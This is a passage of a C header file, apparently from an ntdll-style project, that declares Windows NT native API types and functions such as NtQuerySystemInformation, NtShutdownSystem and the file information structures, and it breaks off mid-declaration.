SystemTimeAdjustmentInformation, // 0x1C 1274 | SystemSummaryMemoryInformation, // 0x1D 1275 | SystemNextEventIdInformation, // 0x1E 1276 | SystemEventIdsInformation, // 0x1F 1277 | SystemCrashDumpInformation, // 0x20 1278 | SystemExceptionInformation, // 0x21 1279 | SystemCrashDumpStateInformation, // 0x22 1280 | SystemKernelDebuggerInformation, // 0x23 1281 | SystemContextSwitchInformation, // 0x24 1282 | SystemRegistryQuotaInformation, // 0x25 1283 | SystemExtendServiceTableInformation, // 0x26 1284 | SystemPrioritySeperation, // 0x27 1285 | SystemPlugPlayBusInformation, // 0x28 1286 | SystemDockInformation, // 0x29 1287 | //SystemPowerInformation, // 0x2A 1288 | //SystemProcessorSpeedInformation, // 0x2B 1289 | //SystemCurrentTimeZoneInformation, // 0x2C 1290 | //SystemLookasideInformation // 0x2D 1291 | 1292 | } SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; 1293 | 1294 | // 1295 | // Thread priority 1296 | // 1297 | 1298 | typedef LONG KPRIORITY; 1299 | 1300 | // 1301 | // Basic System information 1302 | // NtQuerySystemInformation with SystemBasicInformation 1303 | // 1304 | 1305 | typedef struct _SYSTEM_BASIC_INFORMATION { 1306 | ULONG Reserved; 1307 | ULONG TimerResolution; 1308 | ULONG PageSize; 1309 | ULONG NumberOfPhysicalPages; 1310 | ULONG LowestPhysicalPageNumber; 1311 | ULONG HighestPhysicalPageNumber; 1312 | ULONG AllocationGranularity; 1313 | ULONG MinimumUserModeAddress; 1314 | ULONG MaximumUserModeAddress; 1315 | KAFFINITY ActiveProcessorsAffinityMask; 1316 | CCHAR NumberOfProcessors; 1317 | } SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; 1318 | 1319 | // 1320 | // Processor information 1321 | // NtQuerySystemInformation with SystemProcessorInformation 1322 | // 1323 | 1324 | typedef struct _SYSTEM_PROCESSOR_INFORMATION { 1325 | USHORT ProcessorArchitecture; 1326 | USHORT ProcessorLevel; 1327 | USHORT ProcessorRevision; 1328 | USHORT Reserved; 1329 | ULONG ProcessorFeatureBits; 1330 | } SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION; 1331 | 1332 | // 1333 | // Performance information 1334 | // NtQuerySystemInformation with SystemPerformanceInformation 1335 | // 1336 | 1337 | typedef struct _SYSTEM_PERFORMANCE_INFORMATION { 1338 | LARGE_INTEGER IdleProcessTime; 1339 | LARGE_INTEGER IoReadTransferCount; 1340 | LARGE_INTEGER IoWriteTransferCount; 1341 | LARGE_INTEGER IoOtherTransferCount; 1342 | ULONG IoReadOperationCount; 1343 | ULONG IoWriteOperationCount; 1344 | ULONG IoOtherOperationCount; 1345 | ULONG AvailablePages; 1346 | ULONG CommittedPages; 1347 | ULONG CommitLimit; 1348 | ULONG PeakCommitment; 1349 | ULONG PageFaultCount; 1350 | ULONG CopyOnWriteCount; 1351 | ULONG TransitionCount; 1352 | ULONG CacheTransitionCount; 1353 | ULONG DemandZeroCount; 1354 | ULONG PageReadCount; 1355 | ULONG PageReadIoCount; 1356 | ULONG CacheReadCount; 1357 | ULONG CacheIoCount; 1358 | ULONG DirtyPagesWriteCount; 1359 | ULONG DirtyWriteIoCount; 1360 | ULONG MappedPagesWriteCount; 1361 | ULONG MappedWriteIoCount; 1362 | ULONG PagedPoolPages; 1363 | ULONG NonPagedPoolPages; 1364 | ULONG PagedPoolAllocs; 1365 | ULONG PagedPoolFrees; 1366 | ULONG NonPagedPoolAllocs; 1367 | ULONG NonPagedPoolFrees; 1368 | ULONG FreeSystemPtes; 1369 | ULONG ResidentSystemCodePage; 1370 | ULONG TotalSystemDriverPages; 1371 | ULONG TotalSystemCodePages; 1372 | ULONG NonPagedPoolLookasideHits; 1373 | ULONG PagedPoolLookasideHits; 1374 | ULONG Spare3Count; 1375 | ULONG ResidentSystemCachePage; 1376 | ULONG ResidentPagedPoolPage; 1377 | ULONG ResidentSystemDriverPage; 1378 | ULONG CcFastReadNoWait; 1379 | ULONG CcFastReadWait; 1380 | ULONG CcFastReadResourceMiss; 1381 | ULONG CcFastReadNotPossible; 1382 | ULONG CcFastMdlReadNoWait; 1383 | ULONG CcFastMdlReadWait; 1384 | ULONG CcFastMdlReadResourceMiss; 1385 | ULONG CcFastMdlReadNotPossible; 1386 | ULONG CcMapDataNoWait; 1387 | ULONG CcMapDataWait; 1388 | ULONG CcMapDataNoWaitMiss; 1389 | ULONG CcMapDataWaitMiss; 1390 | ULONG CcPinMappedDataCount; 1391 | ULONG CcPinReadNoWait; 1392 | ULONG CcPinReadWait; 1393 | ULONG CcPinReadNoWaitMiss; 1394 | ULONG CcPinReadWaitMiss; 1395 | ULONG CcCopyReadNoWait; 1396 | ULONG CcCopyReadWait; 1397 | ULONG CcCopyReadNoWaitMiss; 1398 | ULONG CcCopyReadWaitMiss; 1399 | ULONG CcMdlReadNoWait; 1400 | ULONG CcMdlReadWait; 1401 | ULONG CcMdlReadNoWaitMiss; 1402 | ULONG CcMdlReadWaitMiss; 1403 | ULONG CcReadAheadIos; 1404 | ULONG CcLazyWriteIos; 1405 | ULONG CcLazyWritePages; 1406 | ULONG CcDataFlushes; 1407 | ULONG CcDataPages; 1408 | ULONG ContextSwitches; 1409 | ULONG FirstLevelTbFills; 1410 | ULONG SecondLevelTbFills; 1411 | ULONG SystemCalls; 1412 | } SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION; 1413 | 1414 | // 1415 | // Time of Day information 1416 | // NtQuerySystemInformation with SystemTimeOfDayInformation 1417 | // 1418 | 1419 | typedef struct _SYSTEM_TIMEOFDAY_INFORMATION { 1420 | LARGE_INTEGER BootTime; 1421 | LARGE_INTEGER CurrentTime; 1422 | LARGE_INTEGER TimeZoneBias; 1423 | ULONG TimeZoneId; 1424 | ULONG Reserved; 1425 | } SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; 1426 | 1427 | 1428 | /// 1429 | /// Thread information 1430 | /// 1431 | 1432 | typedef enum _KTHREAD_STATE 1433 | { 1434 | Initialized, 1435 | Ready, 1436 | Running, 1437 | Standby, 1438 | Terminated, 1439 | Waiting, 1440 | Transition, 1441 | DeferredReady, 1442 | GateWaitObsolete, 1443 | WaitingForProcessInSwap, 1444 | MaximumThreadState 1445 | } KTHREAD_STATE, * PKTHREAD_STATE; 1446 | 1447 | 1448 | typedef enum _KWAIT_REASON 1449 | { 1450 | Executive, 1451 | FreePage, 1452 | PageIn, 1453 | PoolAllocation, 1454 | DelayExecution, 1455 | Suspended, 1456 | UserRequest, 1457 | WrExecutive, 1458 | WrFreePage, 1459 | WrPageIn, 1460 | WrPoolAllocation, 1461 | WrDelayExecution, 1462 | WrSuspended, 1463 | WrUserRequest, 1464 | WrEventPair, 1465 | WrQueue, 1466 | WrLpcReceive, 1467 | WrLpcReply, 1468 | WrVirtualMemory, 1469 | WrPageOut, 1470 | WrRendezvous, 1471 | WrKeyedEvent, 1472 | WrTerminated, 1473 | WrProcessInSwap, 1474 | WrCpuRateControl, 1475 | WrCalloutStack, 1476 | WrKernel, 1477 | WrResource, 1478 | WrPushLock, 1479 | WrMutex, 1480 | WrQuantumEnd, 1481 | WrDispatchInt, 1482 | WrPreempted, 1483 | WrYieldExecution, 1484 | WrFastMutex, 1485 | WrGuardedMutex, 1486 | WrRundown, 1487 | WrAlertByThreadId, 1488 | WrDeferredPreempt, 1489 | WrPhysicalFault, 1490 | MaximumWaitReason 1491 | } KWAIT_REASON, * PKWAIT_REASON; 1492 | 1493 | 1494 | typedef struct _SYSTEM_THREAD_INFORMATION 1495 | { 1496 | LARGE_INTEGER KernelTime; 1497 | LARGE_INTEGER UserTime; 1498 | LARGE_INTEGER CreateTime; 1499 | ULONG WaitTime; 1500 | PVOID StartAddress; 1501 | CLIENT_ID ClientId; 1502 | KPRIORITY Priority; 1503 | LONG BasePriority; 1504 | ULONG ContextSwitches; 1505 | KTHREAD_STATE ThreadState; 1506 | KWAIT_REASON WaitReason; 1507 | } SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION; 1508 | 1509 | // 1510 | // Process information 1511 | // NtQuerySystemInformation with SystemProcessInformation 1512 | // 1513 | 1514 | typedef struct _SYSTEM_PROCESS_INFORMATION { 1515 | ULONG NextEntryOffset; 1516 | ULONG NumberOfThreads; 1517 | LARGE_INTEGER WorkingSetPrivateSize; // since VISTA 1518 | ULONG HardFaultCount; // since WIN7 1519 | ULONG NumberOfThreadsHighWatermark; // since WIN7 1520 | ULONGLONG CycleTime; // since WIN7 1521 | LARGE_INTEGER CreateTime; 1522 | LARGE_INTEGER UserTime; 1523 | LARGE_INTEGER KernelTime; 1524 | UNICODE_STRING ImageName; 1525 | KPRIORITY BasePriority; 1526 | ULONG_PTR UniqueProcessId; 1527 | ULONG_PTR InheritedFromUniqueProcessId; 1528 | ULONG HandleCount; 1529 | 1530 | // Next part is platform dependent 1531 | 1532 | ULONG SessionId; 1533 | ULONG_PTR UniqueProcessKey; // since VISTA (requires SystemExtendedProcessInformation) 1534 | SIZE_T PeakVirtualSize; 1535 | SIZE_T VirtualSize; 1536 | ULONG PageFaultCount; 1537 | SIZE_T PeakWorkingSetSize; 1538 | SIZE_T WorkingSetSize; 1539 | SIZE_T QuotaPeakPagedPoolUsage; 1540 | SIZE_T QuotaPagedPoolUsage; 1541 | SIZE_T QuotaPeakNonPagedPoolUsage; 1542 | SIZE_T QuotaNonPagedPoolUsage; 1543 | SIZE_T PagefileUsage; 1544 | SIZE_T PeakPagefileUsage; 1545 | SIZE_T PrivatePageCount; 1546 | LARGE_INTEGER ReadOperationCount; 1547 | LARGE_INTEGER WriteOperationCount; 1548 | LARGE_INTEGER OtherOperationCount; 1549 | LARGE_INTEGER ReadTransferCount; 1550 | LARGE_INTEGER WriteTransferCount; 1551 | LARGE_INTEGER OtherTransferCount; 1552 | SYSTEM_THREAD_INFORMATION Threads[1]; // SystemProcessInformation 1553 | // SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1]; // SystemExtendedProcessinformation 1554 | // SYSTEM_EXTENDED_THREAD_INFORMATION + SYSTEM_PROCESS_INFORMATION_EXTENSION // SystemFullProcessInformation 1555 | 1556 | 1557 | } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; 1558 | 1559 | // 1560 | // Device information 1561 | // NtQuerySystemInformation with SystemDeviceInformation 1562 | // 1563 | 1564 | typedef struct _SYSTEM_DEVICE_INFORMATION { 1565 | ULONG NumberOfDisks; 1566 | ULONG NumberOfFloppies; 1567 | ULONG NumberOfCdRoms; 1568 | ULONG NumberOfTapes; 1569 | ULONG NumberOfSerialPorts; 1570 | ULONG NumberOfParallelPorts; 1571 | } SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION; 1572 | 1573 | // 1574 | // Processor performance information 1575 | // NtQuerySystemInformation with SystemProcessorPerformanceInformation 1576 | // 1577 | 1578 | typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { 1579 | LARGE_INTEGER IdleTime; 1580 | LARGE_INTEGER KernelTime; 1581 | LARGE_INTEGER UserTime; 1582 | LARGE_INTEGER DpcTime; // DEVL only 1583 | LARGE_INTEGER InterruptTime; // DEVL only 1584 | ULONG InterruptCount; 1585 | } SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; 1586 | 1587 | // 1588 | // NT Global Flag information 1589 | // NtQuerySystemInformation with SystemFlagsInformation 1590 | // 1591 | 1592 | typedef struct _SYSTEM_FLAGS_INFORMATION 1593 | { 1594 | ULONG GlobalFlag; 1595 | 1596 | } SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION; 1597 | 1598 | // 1599 | // System Module information 1600 | // NtQuerySystemInformation with SystemModuleInformation 1601 | // 1602 | 1603 | typedef struct _SYSTEM_MODULE 1604 | { 1605 | ULONG Reserved1; // Should be 0xBAADF00D 1606 | ULONG Reserved2; // Should be zero 1607 | PVOID Base; 1608 | ULONG Size; 1609 | ULONG Flags; 1610 | USHORT Index; 1611 | USHORT Unknown; 1612 | USHORT LoadCount; 1613 | USHORT ModuleNameOffset; 1614 | CHAR ImageName[256]; 1615 | 1616 | } SYSTEM_MODULE, *PSYSTEM_MODULE; 1617 | 1618 | 1619 | typedef struct _SYSTEM_MODULE_INFORMATION 1620 | { 1621 | ULONG ModulesCount; 1622 | SYSTEM_MODULE Modules[1]; 1623 | 1624 | } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; 1625 | 1626 | /* 1627 | typedef struct _SYSTEM_VDM_INSTEMUL_INFO { 1628 | ULONG SegmentNotPresent ; 1629 | ULONG VdmOpcode0F ; 1630 | ULONG OpcodeESPrefix ; 1631 | ULONG OpcodeCSPrefix ; 1632 | ULONG OpcodeSSPrefix ; 1633 | ULONG OpcodeDSPrefix ; 1634 | ULONG OpcodeFSPrefix ; 1635 | ULONG OpcodeGSPrefix ; 1636 | ULONG OpcodeOPER32Prefix; 1637 | ULONG OpcodeADDR32Prefix; 1638 | ULONG OpcodeINSB ; 1639 | ULONG OpcodeINSW ; 1640 | ULONG OpcodeOUTSB ; 1641 | ULONG OpcodeOUTSW ; 1642 | ULONG OpcodePUSHF ; 1643 | ULONG OpcodePOPF ; 1644 | ULONG OpcodeINTnn ; 1645 | ULONG OpcodeINTO ; 1646 | ULONG OpcodeIRET ; 1647 | ULONG OpcodeINBimm ; 1648 | ULONG OpcodeINWimm ; 1649 | ULONG OpcodeOUTBimm ; 1650 | ULONG OpcodeOUTWimm ; 1651 | ULONG OpcodeINB ; 1652 | ULONG OpcodeINW ; 1653 | ULONG OpcodeOUTB ; 1654 | ULONG OpcodeOUTW ; 1655 | ULONG OpcodeLOCKPrefix ; 1656 | ULONG OpcodeREPNEPrefix ; 1657 | ULONG OpcodeREPPrefix ; 1658 | ULONG OpcodeHLT ; 1659 | ULONG OpcodeCLI ; 1660 | ULONG OpcodeSTI ; 1661 | ULONG BopCount ; 1662 | } SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO; 1663 | 1664 | 1665 | typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION { 1666 | ULONG TimeAdjustment; 1667 | ULONG TimeIncrement; 1668 | BOOLEAN Enable; 1669 | } SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION; 1670 | 1671 | typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION { 1672 | ULONG TimeAdjustment; 1673 | BOOLEAN Enable; 1674 | } SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION; 1675 | 1676 | 1677 | typedef struct _SYSTEM_THREAD_INFORMATION { 1678 | LARGE_INTEGER KernelTime; 1679 | LARGE_INTEGER UserTime; 1680 | LARGE_INTEGER CreateTime; 1681 | ULONG WaitTime; 1682 | PVOID StartAddress; 1683 | CLIENT_ID ClientId; 1684 | KPRIORITY Priority; 1685 | LONG BasePriority; 1686 | ULONG ContextSwitches; 1687 | ULONG ThreadState; 1688 | ULONG WaitReason; 1689 | } SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; 1690 | 1691 | typedef struct _SYSTEM_MEMORY_INFO { 1692 | PUCHAR StringOffset; 1693 | USHORT ValidCount; 1694 | USHORT TransitionCount; 1695 | USHORT ModifiedCount; 1696 | USHORT PageTableCount; 1697 | } SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO; 1698 | 1699 | typedef struct _SYSTEM_MEMORY_INFORMATION { 1700 | ULONG InfoSize; 1701 | ULONG StringStart; 1702 | SYSTEM_MEMORY_INFO Memory[1]; 1703 | } SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION; 1704 | 1705 | typedef struct _SYSTEM_CALL_COUNT_INFORMATION { 1706 | ULONG Length; 1707 | ULONG NumberOfTables; 1708 | //ULONG NumberOfEntries[NumberOfTables]; 1709 | //ULONG CallCounts[NumberOfTables][NumberOfEntries]; 1710 | } SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION; 1711 | 1712 | typedef struct _SYSTEM_CRASH_DUMP_INFORMATION { 1713 | HANDLE CrashDumpSection; 1714 | } SYSTEM_CRASH_DUMP_INFORMATION, *PSYSTEM_CRASH_DUMP_INFORMATION; 1715 | 1716 | typedef struct _SYSTEM_EXCEPTION_INFORMATION { 1717 | ULONG AlignmentFixupCount; 1718 | ULONG ExceptionDispatchCount; 1719 | ULONG FloatingEmulationCount; 1720 | ULONG ByteWordEmulationCount; 1721 | } SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION; 1722 | 1723 | typedef struct _SYSTEM_CRASH_STATE_INFORMATION { 1724 | ULONG ValidCrashDump; 1725 | } SYSTEM_CRASH_STATE_INFORMATION, *PSYSTEM_CRASH_STATE_INFORMATION; 1726 | 1727 | typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { 1728 | BOOLEAN KernelDebuggerEnabled; 1729 | BOOLEAN KernelDebuggerNotPresent; 1730 | } SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; 1731 | 1732 | typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { 1733 | ULONG RegistryQuotaAllowed; 1734 | ULONG RegistryQuotaUsed; 1735 | ULONG PagedPoolSize; 1736 | } SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION; 1737 | 1738 | typedef struct _SYSTEM_GDI_DRIVER_INFORMATION { 1739 | UNICODE_STRING DriverName; 1740 | PVOID ImageAddress; 1741 | PVOID SectionPointer; 1742 | PVOID EntryPoint; 1743 | PIMAGE_EXPORT_DIRECTORY ExportSectionPointer; 1744 | } SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION; 1745 | */ 1746 | 1747 | NTSYSAPI 1748 | NTSTATUS 1749 | NTAPI 1750 | NtQuerySystemInformation( 1751 | IN SYSTEM_INFORMATION_CLASS SystemInformationClass, 1752 | OUT PVOID SystemInformation, 1753 | IN ULONG SystemInformationLength, 1754 | OUT PULONG ReturnLength 1755 | ); 1756 | 1757 | //------------------------------------------------------------------------------ 1758 | // Shutdown system 1759 | 1760 | typedef enum _SHUTDOWN_ACTION 1761 | { 1762 | ShutdownNoReboot, 1763 | ShutdownReboot, 1764 | ShutdownPowerOff 1765 | 1766 | } SHUTDOWN_ACTION, *PSHUTDOWN_ACTION; 1767 | 1768 | 1769 | NTSYSAPI 1770 | NTSTATUS 1771 | NTAPI 1772 | NtShutdownSystem( 1773 | IN SHUTDOWN_ACTION Action 1774 | ); 1775 | 1776 | //----------------------------------------------------------------------------- 1777 | // File functions 1778 | 1779 | #ifndef OLD_DOS_VOLID 1780 | #define OLD_DOS_VOLID 0x00000008 1781 | #endif 1782 | 1783 | #ifndef FILE_SUPERSEDE 1784 | #define FILE_SUPERSEDE 0x00000000 1785 | #define FILE_OPEN 0x00000001 1786 | #define FILE_CREATE 0x00000002 1787 | #define FILE_OPEN_IF 0x00000003 1788 | #define FILE_OVERWRITE 0x00000004 1789 | #define FILE_OVERWRITE_IF 0x00000005 1790 | #define FILE_MAXIMUM_DISPOSITION 0x00000005 1791 | #endif // File create flags 1792 | 1793 | 1794 | // Define the create/open option flags 1795 | #ifndef FILE_DIRECTORY_FILE 1796 | #define FILE_DIRECTORY_FILE 0x00000001 1797 | #define FILE_WRITE_THROUGH 0x00000002 1798 | #define FILE_SEQUENTIAL_ONLY 0x00000004 1799 | #define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 1800 | #define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 1801 | #define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 1802 | #define FILE_NON_DIRECTORY_FILE 0x00000040 1803 | #define FILE_CREATE_TREE_CONNECTION 0x00000080 1804 | #define FILE_COMPLETE_IF_OPLOCKED 0x00000100 1805 | #define FILE_NO_EA_KNOWLEDGE 0x00000200 1806 | #define FILE_OPEN_FOR_RECOVERY 0x00000400 1807 | #define FILE_RANDOM_ACCESS 0x00000800 1808 | #define FILE_DELETE_ON_CLOSE 0x00001000 1809 | #define FILE_OPEN_BY_FILE_ID 0x00002000 1810 | #define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 1811 | #define FILE_NO_COMPRESSION 0x00008000 1812 | #define FILE_RESERVE_OPFILTER 0x00100000 1813 | #define FILE_OPEN_REPARSE_POINT 0x00200000 1814 | #define FILE_OPEN_NO_RECALL 0x00400000 1815 | #define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 1816 | #endif // FILE_DIRECTORY_FILE 1817 | 1818 | 1819 | // 1820 | // Define the I/O status information return values for NtCreateFile/NtOpenFile 1821 | // 1822 | 1823 | #ifndef FILE_SUPERSEDED 1824 | #define FILE_SUPERSEDED 0x00000000 1825 | #define FILE_OPENED 0x00000001 1826 | #define FILE_CREATED 0x00000002 1827 | #define FILE_OVERWRITTEN 0x00000003 1828 | #define FILE_EXISTS 0x00000004 1829 | #define FILE_DOES_NOT_EXIST 0x00000005 1830 | #endif 1831 | 1832 | 1833 | #ifndef PIO_APC_ROUTINE_DEFINED 1834 | typedef 1835 | VOID 1836 | (NTAPI *PIO_APC_ROUTINE) ( 1837 | IN PVOID ApcContext, 1838 | IN PIO_STATUS_BLOCK IoStatusBlock, 1839 | IN ULONG Reserved 1840 | ); 1841 | #define PIO_APC_ROUTINE_DEFINED 1842 | #endif // PIO_APC_ROUTINE_DEFINED 1843 | 1844 | 1845 | typedef enum _FILE_INFORMATION_CLASS 1846 | { 1847 | FileDirectoryInformation = 1, 1848 | FileFullDirectoryInformation, // 2 1849 | FileBothDirectoryInformation, // 3 1850 | FileBasicInformation, // 4 wdm 1851 | FileStandardInformation, // 5 wdm 1852 | FileInternalInformation, // 6 1853 | FileEaInformation, // 7 1854 | FileAccessInformation, // 8 1855 | FileNameInformation, // 9 1856 | FileRenameInformation, // 10 1857 | FileLinkInformation, // 11 1858 | FileNamesInformation, // 12 1859 | FileDispositionInformation, // 13 1860 | FilePositionInformation, // 14 wdm 1861 | FileFullEaInformation, // 15 1862 | FileModeInformation, // 16 1863 | FileAlignmentInformation, // 17 1864 | FileAllInformation, // 18 1865 | FileAllocationInformation, // 19 1866 | FileEndOfFileInformation, // 20 wdm 1867 | FileAlternateNameInformation, // 21 1868 | FileStreamInformation, // 22 1869 | FilePipeInformation, // 23 1870 | FilePipeLocalInformation, // 24 1871 | FilePipeRemoteInformation, // 25 1872 | FileMailslotQueryInformation, // 26 1873 | FileMailslotSetInformation, // 27 1874 | FileCompressionInformation, // 28 1875 | FileObjectIdInformation, // 29 1876 | FileCompletionInformation, // 30 1877 | FileMoveClusterInformation, // 31 1878 | FileQuotaInformation, // 32 1879 | FileReparsePointInformation, // 33 1880 | FileNetworkOpenInformation, // 34 1881 | FileAttributeTagInformation, // 35 1882 | FileTrackingInformation, // 36 1883 | FileIdBothDirectoryInformation, // 37 1884 | FileIdFullDirectoryInformation, // 38 1885 | FileValidDataLengthInformation, // 39 1886 | FileShortNameInformation, // 40 1887 | FileIoCompletionNotificationInformation, // 41 1888 | FileIoStatusBlockRangeInformation, // 42 1889 | FileIoPriorityHintInformation, // 43 1890 | FileSfioReserveInformation, // 44 1891 | FileSfioVolumeInformation, // 45 1892 | FileHardLinkInformation, // 46 1893 | FileProcessIdsUsingFileInformation, // 47 1894 | FileMaximumInformation // 48 1895 | } FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; 1896 | 1897 | 1898 | typedef struct _FILE_DIRECTORY_INFORMATION { 1899 | ULONG NextEntryOffset; 1900 | ULONG FileIndex; 1901 | LARGE_INTEGER CreationTime; 1902 | LARGE_INTEGER LastAccessTime; 1903 | LARGE_INTEGER LastWriteTime; 1904 | LARGE_INTEGER ChangeTime; 1905 | LARGE_INTEGER EndOfFile; 1906 | LARGE_INTEGER AllocationSize; 1907 | ULONG FileAttributes; 1908 | ULONG FileNameLength; 1909 | WCHAR FileName[1]; 1910 | } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; 1911 | 1912 | 1913 | typedef struct _FILE_FULL_DIR_INFORMATION { 1914 | ULONG NextEntryOffset; 1915 | ULONG FileIndex; 1916 | LARGE_INTEGER CreationTime; 1917 | LARGE_INTEGER LastAccessTime; 1918 | LARGE_INTEGER LastWriteTime; 1919 | LARGE_INTEGER ChangeTime; 1920 | LARGE_INTEGER EndOfFile; 1921 | LARGE_INTEGER AllocationSize; 1922 | ULONG FileAttributes; 1923 | ULONG FileNameLength; 1924 | ULONG EaSize; 1925 | WCHAR FileName[1]; 1926 | } FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; 1927 | 1928 | 1929 | typedef struct _FILE_BOTH_DIR_INFORMATION { 1930 | ULONG NextEntryOffset; 1931 | ULONG FileIndex; 1932 | LARGE_INTEGER CreationTime; 1933 | LARGE_INTEGER LastAccessTime; 1934 | LARGE_INTEGER LastWriteTime; 1935 | LARGE_INTEGER ChangeTime; 1936 | LARGE_INTEGER EndOfFile; 1937 | LARGE_INTEGER AllocationSize; 1938 | ULONG FileAttributes; 1939 | ULONG FileNameLength; 1940 | ULONG EaSize; 1941 | CCHAR ShortNameLength; 1942 | WCHAR ShortName[12]; 1943 | WCHAR FileName[1]; 1944 | } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; 1945 | 1946 | 1947 | typedef struct _FILE_BASIC_INFORMATION { 1948 | LARGE_INTEGER CreationTime; 1949 | LARGE_INTEGER LastAccessTime; 1950 | LARGE_INTEGER LastWriteTime; 1951 | LARGE_INTEGER ChangeTime; 1952 | ULONG FileAttributes; 1953 | } FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; 1954 | 1955 | 1956 | typedef struct _FILE_STANDARD_INFORMATION { 1957 | LARGE_INTEGER AllocationSize; 1958 | LARGE_INTEGER EndOfFile; 1959 | ULONG NumberOfLinks; 1960 | BOOLEAN DeletePending; 1961 | BOOLEAN Directory; 1962 | } FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION; 1963 | 1964 | 1965 | typedef struct _FILE_INTERNAL_INFORMATION { 1966 | LARGE_INTEGER IndexNumber; 1967 | } FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; 1968 | 1969 | 1970 | typedef struct _FILE_EA_INFORMATION { 1971 | ULONG EaSize; 1972 | } FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; 1973 | 1974 | 1975 | typedef struct _FILE_ACCESS_INFORMATION { 1976 | ACCESS_MASK AccessFlags; 1977 | } FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; 1978 | 1979 | 1980 | typedef struct _FILE_NAME_INFORMATION { 1981 | ULONG FileNameLength; 1982 | WCHAR FileName[1]; 1983 | } FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; 1984 | 1985 | 1986 | typedef struct _FILE_RENAME_INFORMATION { 1987 | BOOLEAN ReplaceIfExists; 1988 | HANDLE RootDirectory; 1989 | ULONG FileNameLength; 1990 | WCHAR FileName[1]; 1991 | } FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; 1992 | 1993 | 1994 | typedef struct _FILE_NAMES_INFORMATION { 1995 | ULONG NextEntryOffset; 1996 | ULONG FileIndex; 1997 | ULONG FileNameLength; 1998 | WCHAR FileName[1]; 1999 | } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; 2000 | 2001 | 2002 | typedef struct _FILE_DISPOSITION_INFORMATION { 2003 | BOOLEAN DeleteFile; 2004 | } FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; 2005 | 2006 | 2007 | typedef struct _FILE_POSITION_INFORMATION { 2008 | LARGE_INTEGER CurrentByteOffset; 2009 | } FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; 2010 | 2011 | 2012 | typedef struct _FILE_FULL_EA_INFORMATION { 2013 | ULONG NextEntryOffset; 2014 | UCHAR Flags; 2015 | UCHAR EaNameLength; 2016 | USHORT EaValueLength; 2017 | CHAR EaName[1]; 2018 | } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; 2019 | 2020 | 2021 | typedef struct _FILE_MODE_INFORMATION { 2022 | ULONG Mode; 2023 | } FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; 2024 | 2025 | 2026 | typedef struct _FILE_ALIGNMENT_INFORMATION { 2027 | ULONG AlignmentRequirement; 2028 | } FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; 2029 | 2030 | 2031 | typedef struct _FILE_ALL_INFORMATION { 2032 | FILE_BASIC_INFORMATION BasicInformation; 2033 | FILE_STANDARD_INFORMATION StandardInformation; 2034 | FILE_INTERNAL_INFORMATION InternalInformation; 2035 | FILE_EA_INFORMATION EaInformation; 2036 | FILE_ACCESS_INFORMATION AccessInformation; 2037 | FILE_POSITION_INFORMATION PositionInformation; 2038 | FILE_MODE_INFORMATION ModeInformation; 2039 | FILE_ALIGNMENT_INFORMATION AlignmentInformation; 2040 | FILE_NAME_INFORMATION NameInformation; 2041 | } FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; 2042 | 2043 | 2044 | typedef struct 